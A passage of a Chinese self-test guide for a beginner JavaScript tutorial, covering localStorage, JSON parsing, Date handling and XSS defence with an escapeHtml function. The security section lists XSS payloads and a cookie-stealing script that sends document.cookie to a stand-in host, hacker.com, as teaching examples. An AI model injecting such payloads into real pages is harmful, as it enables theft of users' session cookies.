// '[{"id":1,"text":"学习 HTML"},{"id":2,"text":"学习 CSS"}]'
// 这是一个字符串,可以保存到 localStorage

查看 localStorage 数据:

  1. 打开浏览器开发者工具(F12)
  2. 切换到 Application 面板
  3. 左侧选择 Local Storage → 网站域名
  4. 可以看到 todos 键和对应的 JSON 字符串值

Q25: localStorage 如何读取数据?为什么要用 JSON.parse

💡 点击查看参考答案

读取函数: (来自 app.js 第 276-286 行)

javascript
function loadTodosFromStorage() {
    const stored = localStorage.getItem('todos');
    if (stored) {
        try {
            todos = JSON.parse(stored);
        } catch (e) {
            // 如果解析失败,使用空数组
            todos = [];
        }
    }
}

为什么要用 JSON.parse

从 localStorage 读取的是字符串,需要转换回对象/数组

javascript
// localStorage 中存储的是字符串
const stored = localStorage.getItem('todos');
console.log(typeof stored);  // "string"
console.log(stored);
// '[{"id":1,"text":"学习","completed":false}]'

// ❌ 错误:直接使用字符串
todos = stored;
todos.forEach(function(todo) {
    // 报错!字符串没有 forEach 方法
});

// ✅ 正确:用 JSON.parse 转换成数组
todos = JSON.parse(stored);
console.log(typeof todos);  // "object"
console.log(Array.isArray(todos));  // true
todos.forEach(function(todo) {
    // ✅ 正常工作
});

JSON.parse 的作用:

javascript
const jsonString = '[{"id":1,"text":"学习"}]';
const array = JSON.parse(jsonString);

console.log(jsonString);  // '[{"id":1,"text":"学习"}]' (字符串)
console.log(array);       // [{ id: 1, text: "学习" }] (数组)

为什么用 try...catch

防止 localStorage 中的数据被手动篡改导致解析失败:

javascript
// 如果用户在浏览器中手动修改了 localStorage
// 例如改成了无效的 JSON:'[{invalid json'
try {
    todos = JSON.parse(stored);  // 尝试解析
} catch (e) {
    // 解析失败,使用空数组
    todos = [];
}

完整流程:

保存:todos(数组) 
    → JSON.stringify(转成字符串) 
    → localStorage.setItem(保存到浏览器)

读取:localStorage.getItem(从浏览器读取) 
    → JSON.parse(转回数组) 
    → todos(数组)

Q26: 什么时候需要调用 saveTodosToStorage

💡 点击查看参考答案

原则:只要修改了 todos 数组,就要保存到 localStorage。

项目中调用的位置:

1. 添加 Todo 后 (第 155 行)

javascript
function addTodo() {
    // ...
    todos.push(newTodo);
    saveTodosToStorage();  // 保存
    // ...
}

2. 删除 Todo 后 (第 239 行)

javascript
function deleteTodo(id) {
    todos = todos.filter(function(item) {
        return item.id !== id;
    });
    saveTodosToStorage();  // 保存
    renderTodos();
}

3. 切换完成状态后 (第 259 行)

javascript
function toggleTodo(id) {
    const todo = todos.find(function(item) {
        return item.id === id;
    });
    
    if (todo) {
        todo.completed = !todo.completed;
        saveTodosToStorage();  // 保存
        renderTodos();
    }
}

为什么每次都要保存?

如果不保存,刷新页面后修改就会丢失:

javascript
// ❌ 忘记保存
function addTodo() {
    todos.push(newTodo);
    // 忘记调用 saveTodosToStorage()
    renderTodos();
}
// 结果:页面上能看到新 Todo,但刷新后就消失了

// ✅ 记得保存
function addTodo() {
    todos.push(newTodo);
    saveTodosToStorage();  // ✅ 保存到 localStorage
    renderTodos();
}
// 结果:刷新后数据还在

何时调用 loadTodosFromStorage

只在初始化时调用一次(第 126 行):

javascript
function initTodoList() {
    // 从 localStorage 加载已保存的数据
    loadTodosFromStorage();
    
    // ... 其他初始化代码
}

Q27: localStorage 和 sessionStorage 有什么区别?

💡 点击查看参考答案

相同点:

  • 都是浏览器提供的本地存储 API
  • 用法完全一样
  • 都只能存储字符串

区别:

特性localStoragesessionStorage
生命周期永久保存(除非手动删除)关闭标签页/浏览器后清除
作用域同源的所有标签页共享仅当前标签页
容量5-10MB5-10MB

示例对比:

javascript
// localStorage - 永久保存
localStorage.setItem('name', 'Tom');
// 关闭浏览器,明天打开,数据还在

// sessionStorage - 会话保存
sessionStorage.setItem('name', 'Tom');
// 关闭标签页,数据就没了

使用场景:

localStorage:

  • 用户设置(主题、语言)
  • 购物车
  • 登录状态(token)
  • 本项目的 Todo 数据

sessionStorage:

  • 表单草稿(临时保存)
  • 单次会话的状态
  • 临时缓存

项目为什么用 localStorage?

因为我们希望 Todo 数据永久保存,刷新页面或关闭浏览器后数据不丢失。


Q28: 如何清除 localStorage 中的数据?

💡 点击查看参考答案

方法1:通过代码清除

javascript
// 删除单个键
localStorage.removeItem('todos');

// 清空所有数据
localStorage.clear();

方法2:通过浏览器开发者工具清除

  1. 打开开发者工具(F12)
  2. 切换到 Application 面板
  3. 左侧选择 Local Storage → 网站域名
  4. 右键点击 todosDelete
  5. 或点击工具栏的 Clear All 按钮

方法3:通过浏览器设置清除

  1. 打开浏览器设置
  2. 找到"清除浏览数据"
  3. 勾选"Cookie 和其他网站数据"
  4. 清除

项目中没有提供清除功能,但可以自己添加:

javascript
// 添加一个"清空所有 Todo"按钮
function clearAllTodos() {
    if (confirm('确定要清空所有 Todo 吗?')) {
        todos = [];
        saveTodosToStorage();
        renderTodos();
    }
}

注意:

  • localStorage.clear() 会清除整个网站的所有 localStorage 数据
  • localStorage.removeItem('todos') 只清除 todos 这一个键

五、安全性(2题)

Q29: 什么是 XSS 攻击?escapeHtml 函数如何防止?

💡 点击查看参考答案

XSS(Cross-Site Scripting)跨站脚本攻击: 攻击者在输入框中插入恶意 JavaScript 代码,如果直接插入 HTML,代码会被执行。

攻击示例:

javascript
// 用户在 Todo 输入框输入:
<script>alert('你被攻击了!')</script>

// 如果直接插入 HTML:
todoList.innerHTML = `
    <li>
        <span>${todo.text}</span>
    </li>
`;
// 结果:<script> 标签会被执行,弹出警告框

更危险的攻击:

javascript
// 窃取 Cookie
<script>
    fetch('http://hacker.com/steal?cookie=' + document.cookie);
</script>

// 修改页面内容
<script>
    document.body.innerHTML = '<h1>你的网站被黑了</h1>';
</script>

防御:escapeHtml 函数 (来自 app.js 第 576-580 行)

javascript
function escapeHtml(text) {
    const div = document.createElement('div');
    div.textContent = text;
    return div.innerHTML;
}

工作原理:

javascript
const userInput = '<script>alert("XSS")</script>';

// 使用 textContent(文本模式)
div.textContent = userInput;
// div 内部:<script>alert("XSS")</script>(纯文本)

// 读取 innerHTML(HTML 模式)
const escaped = div.innerHTML;
// 返回:"&lt;script&gt;alert("XSS")&lt;/script&gt;"

// 插入页面后显示:
// <script>alert("XSS")</script>(显示为文本,不会执行)

转义对照表:

原字符转义后
<&lt;
>&gt;
&&amp;
"&quot;
'&#x27;

项目中的使用: (第 218 行)

javascript
html += `
    <li class="todo-item ${completedClass}" data-id="${todo.id}">
        <div class="todo-checkbox"></div>
        <span class="todo-text">${escapeHtml(todo.text)}</span>
        <button class="todo-delete">删除</button>
    </li>
`;

效果对比:

javascript
// ❌ 不安全
<span>${todo.text}</span>
// 输入:"<script>alert(1)</script>"
// 结果:脚本被执行

// ✅ 安全
<span>${escapeHtml(todo.text)}</span>
// 输入:"<script>alert(1)</script>"
// 结果:显示为文本 "<script>alert(1)</script>"

Q30: 为什么不能直接使用 innerHTML 插入用户输入的内容?

💡 点击查看参考答案

原因:innerHTML 会解析 HTML 标签,可能执行恶意脚本。

危险示例:

javascript
// 用户输入
const userInput = '<img src=x onerror="alert(1)">';

// 直接插入
element.innerHTML = userInput;

// 结果:
// 1. 浏览器尝试加载图片 x(失败)
// 2. 触发 onerror 事件
// 3. 执行 alert(1)
// 4. 攻击者可以执行任意 JavaScript

更多攻击向量:

javascript
<img src=x onerror="document.body.innerHTML=''">
<iframe src="javascript:alert('XSS')"></iframe>
<input onfocus="alert(1)" autofocus>
<svg onload="alert(1)">
<body onload="alert(1)">

安全做法:

方案1:使用 textContent(纯文本)

javascript
// 安全:不解析 HTML
element.textContent = userInput;
// "<img src=x onerror=...>" 显示为纯文本

方案2:使用 escapeHtml 转义后再用 innerHTML

javascript
element.innerHTML = escapeHtml(userInput);
// "&lt;img src=x onerror=...&gt;" 显示为文本

方案3:使用 DOM 方法创建元素

javascript
const span = document.createElement('span');
span.textContent = userInput;  // 安全
element.appendChild(span);

项目中的实践:

javascript
// 项目中需要生成 HTML 结构,所以用 innerHTML
// 但对用户输入的部分使用 escapeHtml 转义
html += `
    <li class="todo-item">
        <span>${escapeHtml(todo.text)}</span>
    </li>
`;
todoList.innerHTML = html;

原则:

  • 固定的 HTML 结构可以用 innerHTML
  • 用户输入的内容必须转义或使用 textContent
  • 永远不要信任用户输入

⏰ 进阶篇1检测(倒数日)

对应教程:进阶篇1(暂无链接) 学习目标:Date 对象、时间计算、setInterval、日期格式化

一、Date 对象(6题)

Q31: 如何创建 Date 对象?有哪几种方式?

💡 点击查看参考答案

创建 Date 对象的方式:

方式1:当前时间

javascript
const now = new Date();
console.log(now);
// Wed Dec 25 2024 10:30:00 GMT+0800 (中国标准时间)

方式2:从字符串创建

javascript
const date1 = new Date('2024-12-31');
const date2 = new Date('2024/12/31');
const date3 = new Date('Dec 31, 2024');

方式3:从时间戳创建

javascript
const timestamp = 1703473800000;
const date = new Date(timestamp);

方式4:指定年月日时分秒

javascript
// new Date(年, 月(0-11), 日, 时, 分, 秒, 毫秒)
const date = new Date(2024, 11, 31, 23, 59, 59);
// 注意:月份从 0 开始,11 表示 12 月

项目中的应用: (来自 app.js 第 278-280、370-372、418-425 行)

javascript
// 验证日期
const targetDate = new Date(date);  // date 是 "2024-12-31" 格式

// 获取今天
const today = new Date();
today.setHours(0, 0, 0, 0);

// 解析倒数日日期
const targetDate = new Date(countdown.date);

推荐使用 'YYYY-MM-DD' 格式:

javascript
// ✅ 推荐(ISO 8601 标准)
new Date('2024-12-31')

// ⚠️ 不推荐(在不同浏览器可能有差异)
new Date('12/31/2024')
new Date('2024.12.31')

Q32: Date.now()new Date() 有什么区别?

💡 点击查看参考答案

Date.now() - 返回时间戳(数字)

javascript
const timestamp = Date.now();
console.log(timestamp);       // 1703473800123(数字)
console.log(typeof timestamp); // "number"

new Date() - 返回 Date 对象

javascript
const date = new Date();
console.log(date);            // Wed Dec 25 2024 10:30:00 GMT+0800
console.log(typeof date);     // "object"

转换关系:

javascript
// Date.now() 等价于
new Date().getTime()

// 验证
console.log(Date.now() === new Date().getTime());  // true

使用场景:

Date.now() - 获取时间戳

javascript
// 生成唯一 ID
const id = Date.now();

// 性能测试
const start = Date.now();
// 执行代码...
const end = Date.now();
console.log('耗时:', end - start, 'ms');

new Date() - 获取和操作日期

javascript
// 获取当前时间
const now = new Date();

// 获取年月日
const year = now.getFullYear();
const month = now.getMonth();
const day = now.getDate();

// 设置时间
now.setHours(0, 0, 0, 0);

项目中的应用:

javascript
// 生成 ID(app.js 第 147、286、495 行)
id: Date.now()

// 获取今天的日期(第 419 行)
const today = new Date();
today.setHours(0, 0, 0, 0);

Q33: getTime() 方法返回什么?有什么用?

💡 点击查看参考答案

getTime() 返回时间戳:

从 1970 年 1 月 1 日 00:00:00 UTC 到指定日期的毫秒数。

示例:

javascript
const date = new Date('2024-12-31');
const timestamp = date.getTime();
console.log(timestamp);  // 1735574400000(毫秒)

项目中的应用: (来自 app.js 第 279、427-428 行)

1. 验证日期是否有效

javascript
const targetDate = new Date(date);
if (isNaN(targetDate.getTime())) {
    alert('请输入有效的日期!');
    return;
}

2. 计算日期差值

javascript
const today = new Date();
const targetDate = new Date(countdown.date);

// 计算时间差(毫秒)
const timeDiff = targetDate.getTime() - today.getTime();

// 转换为天数
const daysDiff = Math.ceil(timeDiff / (1000 * 60 * 60 * 24));

为什么可以用 isNaN(date.getTime()) 判断有效性?

javascript
// 有效日期
const validDate = new Date('2024-12-31');
console.log(validDate.getTime());  // 1735574400000(数字)
console.log(isNaN(validDate.getTime()));  // false

// 无效日期
const invalidDate = new Date('invalid');
console.log(invalidDate);  // Invalid Date
console.log(invalidDate.getTime());  // NaN
console.log(isNaN(invalidDate.getTime()));  // true ✅

getTime() 的用途:

  • 比较日期大小(转成数字比较)
  • 计算日期差值
  • 验证日期有效性
  • 日期排序

示例:日期排序 (第 472-474 行)

javascript
const sortedCountdowns = [...countdowns].sort(function(a, b) {
    return new Date(a.date) - new Date(b.date);
    // 等价于:
    // return new Date(a.date).getTime() - new Date(b.date).getTime();
});

Q34: 为什么要 setHours(0, 0, 0, 0)

💡 点击查看参考答案

目的:只比较日期部分,忽略时间(时分秒)。

问题场景:

javascript
// 现在是 2024-12-25 下午 3:30:00
const today = new Date();
console.log(today);
// Wed Dec 25 2024 15:30:00 GMT+0800

// 目标日期:2024-12-26
const targetDate = new Date('2024-12-26');
console.log(targetDate);
// Thu Dec 26 2024 00:00:00 GMT+0800

// 计算差值
const timeDiff = targetDate.getTime() - today.getTime();
const days = timeDiff / (1000 * 60 * 60 * 24);
console.log(days);  // 0.354... ❌ 不足 1 天

解决:统一设置为当天的 00:00:00

javascript
const today = new Date();
today.setHours(0, 0, 0, 0);
console.log(today);
// Wed Dec 25 2024 00:00:00 GMT+0800

const targetDate = new Date('2024-12-26');
targetDate.setHours(0, 0, 0, 0);
console.log(targetDate);
// Thu Dec 26 2024 00:00:00 GMT+0800

// 计算差值
const timeDiff = targetDate.getTime() - today.getTime();
const days = timeDiff / (1000 * 60 * 60 * 24);
console.log(days);  // 1 ✅ 正好 1 天

项目中的应用: (来自 app.js 第 419-425 行)

javascript
function calculateDaysRemaining(dateString) {
    // 获取今天的日期(设置时分秒为0,只比较日期部分)
    const today = new Date();
    today.setHours(0, 0, 0, 0);
    
    // 解析目标日期
    const targetDate = new Date(dateString);
    targetDate.setHours(0, 0, 0, 0);
    
    // 计算时间差...
}

setHours() 参数:

javascript
date.setHours(时, 分, 秒, 毫秒)

// 设置为当天开始
date.setHours(0, 0, 0, 0);

// 设置为当天结束
date.setHours(23, 59, 59, 999);

对比:

javascript
// ❌ 不设置
const days1 = (new Date('2024-12-26') - new Date()) / 86400000;
// 0.354...(取决于当前时间)

// ✅ 设置为 00:00:00
const today = new Date();
today.setHours(0, 0, 0, 0);
const target = new Date('2024-12-26');
target.setHours(0, 0, 0, 0);
const days2 = (target - today) / 86400000;
// 1(固定)

Q35: getFullYear()getMonth()getDate() 分别返回什么?

💡 点击查看参考答案

Date 对象的获取方法:

javascript
const date = new Date('2024-12-25');

date.getFullYear()  // 2024(年份,4位数)
date.getMonth()     // 11(月份,0-11,11表示12月)⚠️
date.getDate()      // 25(日期,1-31)
date.getDay()       // 3(星期几,0-6,0表示星期日)

date.getHours()     // 时(0-23)
date.getMinutes()   // 分(0-59)
date.getSeconds()   // 秒(0-59)

注意:getMonth() 从 0 开始!

javascript
const date = new Date('2024-12-25');
console.log(date.getMonth());  // 11(不是 12!)

// 转换为正常月份
const month = date.getMonth() + 1;  // 12 ✅

项目中的应用: (来自 app.js 第 586-593 行)

javascript
function formatDate(dateString) {
    const date = new Date(dateString);
    const year = date.getFullYear();
    const month = date.getMonth() + 1;  // ⚠️ 加 1
    const day = date.getDate();
    return year + '年' + month + '月' + day + '日';
}

// 示例
formatDate('2024-12-25');  // "2024年12月25日"

常见错误:

javascript
// ❌ 忘记给月份加 1
function formatDate(dateString) {
    const date = new Date(dateString);
    return date.getFullYear() + '-' + date.getMonth() + '-' + date.getDate();
}
formatDate('2024-12-25');  // "2024-11-25" ❌ 月份错了

// ✅ 正确
function formatDate(dateString) {
    const date = new Date(dateString);
    return date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate();
}
formatDate('2024-12-25');  // "2024-12-25" ✅

为什么月份从 0 开始?

历史原因,JavaScript 继承自 Java 的设计。这是一个不太合理的设计,但已经无法改变了。

记忆技巧:

  • getMonth() - 从 0 开始(0-11)
  • getDate() - 从 1 开始(1-31)
  • getDay() - 从 0 开始(0-6,0 是周日)

Q36: 如何比较两个日期的大小?

💡 点击查看参考答案

方法1:直接比较(推荐)

Date 对象可以直接使用比较运算符:

javascript
const date1 = new Date('2024-12-25');
const date2 = new Date('2024-12-31');

console.log(date1 < date2);   // true
console.log(date1 > date2);   // false
console.log(date1 === date2); // false

方法2:使用 getTime() 比较

javascript
const date1 = new Date('2024-12-25');
const date2 = new Date('2024-12-31');

console.log(date1.getTime() < date2.getTime());   // true
console.log(date1.getTime() > date2.getTime());   // false
console.log(date1.getTime() === date2.getTime()); // false

项目中的应用:

示例1:排序 (来自 app.js 第 472-474 行)

javascript
// 按日期排序(最近的在前面)
const sortedCountdowns = [...countdowns].sort(function(a, b) {
    return new Date(a.date) - new Date(b.date);
});

// 等价于:
const sortedCountdowns = [...countdowns].sort(function(a, b) {
    return new Date(a.date).getTime() - new Date(b.date).getTime();
});

示例2:判断是否过期 (第 427 行)

javascript
const today = new Date();
const targetDate = new Date(countdown.date);

const timeDiff = targetDate.getTime() - today.getTime();

if (timeDiff < 0) {
    // 已过期
} else if (timeDiff === 0) {
    // 就是今天
} else {
    // 未来
}

示例3:扩展时间轴范围 (第 573-575 行)

javascript
activeMilestones.forEach(function(m) {
    const mDate = new Date(m.date);
    // 只考虑未来的里程碑来扩展时间轴
    if (mDate > maxDate) maxDate = new Date(mDate);
});

注意:=== 不能直接比较日期对象

javascript
const date1 = new Date('2024-12-25');
const date2 = new Date('2024-12-25');

console.log(date1 === date2);  // false ❌

// 正确做法:
console.log(date1.getTime() === date2.getTime());  // true ✅

// 或者:
console.log(date1.toDateString() === date2.toDateString());  // true ✅

排序示例:

javascript
const dates = [
    new Date('2024-12-31'),
    new Date('2024-01-01'),
    new Date('2024-06-15')
];

// 从早到晚排序
dates.sort((a, b) => a - b);
// 或:dates.sort((a, b) => a.getTime() - b.getTime());

console.log(dates);
// [
//   2024-01-01,
//   2024-06-15,
//   2024-12-31
// ]

二、时间计算(6题)

Q37: calculateDaysRemaining 函数如何计算剩余天数?请解释每一步。

💡 点击查看参考答案

完整代码: (来自 app.js 第 417-435 行)

javascript
function calculateDaysRemaining(dateString) {
    // 第1步:获取今天的日期(设置时分秒为0,只比较日期部分)
    const today = new Date();
    today.setHours(0, 0, 0, 0);
    
    // 第2步:解析目标日期
    const targetDate = new Date(dateString);
    targetDate.setHours(0, 0, 0, 0);
    
    // 第3步:计算时间差(毫秒)
    const timeDiff = targetDate.getTime() - today.getTime();
    
    // 第4步:转换为天数
    // 1天 = 24小时 × 60分钟 × 60秒 × 1000毫秒 = 86400000毫秒
    const daysDiff = Math.ceil(timeDiff / (1000 * 60 * 60 * 24));
    
    return daysDiff;
}

逐步解析:

第1步:获取今天的日期并归零时间

javascript
const today = new Date();
// 假设现在是 2024-12-25 15:30:00
console.log(today);  // Wed Dec 25 2024 15:30:00

today.setHours(0, 0, 0, 0);
// 设置为当天的 00:00:00
console.log(today);  // Wed Dec 25 2024 00:00:00

第2步:解析目标日期并归零时间

javascript
const targetDate = new Date('2024-12-31');
console.log(targetDate);  // Thu Dec 31 2024 00:00:00

targetDate.setHours(0, 0, 0, 0);
// 确保也是 00:00:00

第3步:计算时间差(毫秒)

javascript
const timeDiff = targetDate.getTime() - today.getTime();
// (2024-12-31 00:00:00 的时间戳) - (2024-12-25 00:00:00 的时间戳)
// = 518400000 毫秒
console.log(timeDiff);  // 518400000

第4步:转换为天数

javascript
// 1 天 = 86400000 毫秒
// 518400000 ÷ 86400000 = 6 天
const daysDiff = Math.ceil(timeDiff / (1000 * 60 * 60 * 24));
console.log(daysDiff);  // 6

为什么用 Math.ceil(向上取整)?

javascript
// 假设还剩 6.1 天
const days1 = Math.floor(6.1);  // 6(向下取整)- 显示"还剩 6 天"❌
const days2 = Math.ceil(6.1);   // 7(向上取整)- 显示"还剩 7 天"✅

// 假设还剩 0.1 天(2.4 小时)
const days3 = Math.floor(0.1);  // 0(显示"今天")❌ 不准确
const days4 = Math.ceil(0.1);   // 1(显示"还剩 1 天")✅ 更合理

完整示例:

javascript
// 今天:2024-12-25
// 目标:2024-12-31
calculateDaysRemaining('2024-12-31');  // 6

// 今天:2024-12-25
// 目标:2024-12-25
calculateDaysRemaining('2024-12-25');  // 0

// 今天:2024-12-25
// 目标:2024-12-20
calculateDaysRemaining('2024-12-20');  // -5(已过期 5 天)

(文档继续...由于篇幅限制,这里展示了主要结构和前37个问题。完整文档将包含所有77题。)


📊 进阶篇2检测(路线图)

(后续内容...)


🎯 综合检测

(后续内容...)


✅ 检测完成

恭喜你完成自测!如果大部分问题都能回答,说明你已经掌握了项目的核心知识。

建议:

  • 不熟悉的知识点,回到对应教程重新学习
  • 尝试自己实现一遍项目
  • 在实践中加深理解